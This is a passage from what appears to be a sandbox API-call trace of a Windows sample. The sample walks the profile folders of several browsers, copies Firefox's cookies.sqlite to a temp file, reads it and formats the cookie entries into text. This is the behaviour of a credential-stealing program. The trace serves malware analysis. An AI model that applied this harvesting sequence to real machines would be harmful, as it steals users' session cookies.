ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.559] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.559] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\") returned 0x41 [0061.559] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.559] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.559] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.559] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\") returned 0x3e [0061.559] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.559] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.559] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.559] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\") returned 0x3d [0061.559] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.559] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.559] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.559] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x48 [0061.559] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x68d540 [0061.559] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.560] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18e094*=0x0, psz="120042", len=0x6 | out: pbstr=0x18e094*="120042") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18df24*=0x0, psz="8247", len=0x4 | out: pbstr=0x18df24*="8247") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18df20*=0x0, psz="7971", len=0x4 | out: pbstr=0x18df20*="7971") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18df1c*=0x0, psz="6600", len=0x4 | out: pbstr=0x18df1c*="6600") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18df18*=0x0, psz="8614", len=0x4 | out: pbstr=0x18df18*="8614") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18e09c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", len=0x67 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18df2c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", len=0x67 | out: pbstr=0x18df2c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", len=0x67 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18df28*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", len=0x66 | out: pbstr=0x18df28*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", len=0x66 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 1 [0061.561] SysReAllocStringLen (in: pbstr=0x18df24*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", len=0x66 | out: pbstr=0x18df24*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 1 [0061.562] SysReAllocStringLen (in: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", len=0x66 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 1 [0061.562] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0061.562] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", len=0x3f | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp") returned 1 [0061.562] SysReAllocStringLen (in: pbstr=0x18df2c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", len=0x3f | out: pbstr=0x18df2c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp") returned 1 [0061.562] SysReAllocStringLen (in: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", len=0x3f | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp") returned 1 [0061.562] SysReAllocStringLen (in: pbstr=0x18df28*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", len=0x3f | out: pbstr=0x18df28*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp") returned 1 [0061.562] SysReAllocStringLen (in: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", len=0x3f | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp") returned 1 [0061.562] SysReAllocStringLen (in: pbstr=0x18df24*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", len=0x3f | out: pbstr=0x18df24*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp") returned 1 [0061.562] SysReAllocStringLen (in: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", len=0x3f | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp") returned 1 [0061.562] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp"), bFailIfExists=1) returned 1 [0061.586] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", cchWideChar=63, lpMultiByteStr=0x18cf28, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", lpUsedDefaultChar=0x0) returned 63 [0061.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42ab33c, cbMultiByte=63, lpWideCharStr=0x18cf08, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmpâ\x01") returned 63 [0061.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0061.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", nBufferLength=0x43, lpBuffer=0x4503ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp", lpFilePart=0x0) returned 0x3f [0061.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18dd40 | out: lpFileInformation=0x18dd40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf3c2d70, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xaf3c2d70, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x83256a10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0061.586] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0061.587] ReadFile (in: hFile=0x328, lpBuffer=0x18de70, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18de34, lpOverlapped=0x18ddf8 | out: lpBuffer=0x18de70*, lpNumberOfBytesRead=0x18de34*=0x64, lpOverlapped=0x18ddf8) returned 1 [0061.587] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0061.587] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1f8 | out: lpOverlapped=0x18d1f8) returned 1 [0061.587] LockFileEx (in: hFile=0x328, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1ec | out: lpOverlapped=0x18d1ec) returned 1 [0061.587] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d1fc | out: lpOverlapped=0x18d1fc) returned 1 [0061.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0061.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d1f8 | out: lpFileInformation=0x18d1f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.587] GetLastError () returned 0x2 [0061.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d210 | out: lpFileInformation=0x18d210*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.587] GetLastError () returned 0x2 [0061.589] ReadFile (in: hFile=0x328, lpBuffer=0x45ebbe0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18d218, lpOverlapped=0x18d1dc | out: lpBuffer=0x45ebbe0*, lpNumberOfBytesRead=0x18d218*=0x8000, lpOverlapped=0x18d1dc) returned 1 [0061.589] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d1b0 | out: lpFileInformation=0x18d1b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.589] GetLastError () returned 0x2 [0061.589] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0061.589] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp-shm" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp-shm"), fInfoLevelId=0x0, lpFileInformation=0x18d0e8 | out: lpFileInformation=0x18d0e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.590] GetLastError () returned 0x2 [0061.590] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp-shm" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0061.599] LockFileEx (in: hFile=0x448, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d138 | out: lpOverlapped=0x18d138) returned 1 [0061.599] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x18d15c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18d15c*=0) returned 0x0 [0061.599] SetEndOfFile (hFile=0x448) returned 1 [0061.599] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d13c | out: lpOverlapped=0x18d13c) returned 1 [0061.599] LockFileEx (in: hFile=0x448, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d130 | out: lpOverlapped=0x18d130) returned 1 [0061.599] LockFileEx (in: hFile=0x448, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d188 | out: lpOverlapped=0x18d188) returned 1 [0061.599] SetEndOfFile (hFile=0x448) returned 1 [0061.600] LockFileEx (in: hFile=0x448, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x7, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d108 | out: lpOverlapped=0x18d108) returned 1 [0061.600] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x7, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d10c | out: lpOverlapped=0x18d10c) returned 1 [0061.600] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d18c | out: lpOverlapped=0x18d18c) returned 1 [0061.600] LockFileEx (in: hFile=0x448, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1b0 | out: lpOverlapped=0x18d1b0) returned 1 [0061.600] ReadFile (in: hFile=0x328, lpBuffer=0x45ebbe0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18d218, lpOverlapped=0x18d1dc | out: lpBuffer=0x45ebbe0*, lpNumberOfBytesRead=0x18d218*=0x8000, lpOverlapped=0x18d1dc) returned 1 [0061.600] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18ceec | out: lpOverlapped=0x18ceec) returned 1 [0061.601] LockFileEx (in: hFile=0x448, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18db88 | out: lpOverlapped=0x18db88) returned 1 [0061.601] ReadFile (in: hFile=0x328, lpBuffer=0x45e3b40, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18dc08, lpOverlapped=0x18dbcc | out: lpBuffer=0x45e3b40*, lpNumberOfBytesRead=0x18dc08*=0x8000, lpOverlapped=0x18dbcc) returned 1 [0061.601] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dbac | out: lpOverlapped=0x18dbac) returned 1 [0061.601] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18de60 | out: lpOverlapped=0x18de60) returned 1 [0061.601] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de58 | out: lpOverlapped=0x18de58) returned 1 [0061.601] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18de60 | out: lpOverlapped=0x18de60) returned 1 [0061.602] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp-shm" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp-shm")) returned 1 [0061.604] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp-wal")) returned 1 [0061.605] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de5c | out: lpOverlapped=0x18de5c) returned 1 [0061.605] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de5c | out: lpOverlapped=0x18de5c) returned 0 [0061.605] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de50 | out: lpOverlapped=0x18de50) returned 0 [0061.605] GetLastError () returned 0x9e [0061.605] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de5c | out: lpOverlapped=0x18de5c) returned 1 [0061.605] CloseHandle (hObject=0x328) returned 1 [0061.607] SysReAllocStringLen (in: pbstr=0x18e120*=0x0, psz=".mozilla.org\x09TRUE\x09/\x09FALSE\x091559702270\x09_ga\x09GA1.2.267706369.1496630270\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091496716670\x09_gid\x09GA1.2.652256341.1496630270\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091496630330\x09_gat_UA-36116321-1\x091\r\n.java.com\x09TRUE\x09/\x09FALSE\x091500158050\x09s_nr\x091497566050616\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpName\x09javac%3AVerify%3AInstalled_JRE_Homepage\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpChannel\x09javac%3AVerify\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpServer\x09java.com\r\n.oracle.112.2o7.net\x09TRUE\x09/\x09FALSE\x091560638051\x09s_vi\x09[CS]v1|2CA1CC02050323A4-4000119A80008B49[CE]\r\nprefmgr-cookie.truste-svc.net\x09FALSE\x09/\x09FALSE\x091497566082\x09cookie_3rdparty\x09enabled\r\nconsent-pref.truste.com\x09FALSE\x09/\x09FALSE\x091497566072\x09token_test\x09Fri Jun 16 2017 08:34:12 GMT+1000 (AUS Eastern Standard Time)\r\n", len=0x2e9 | out: 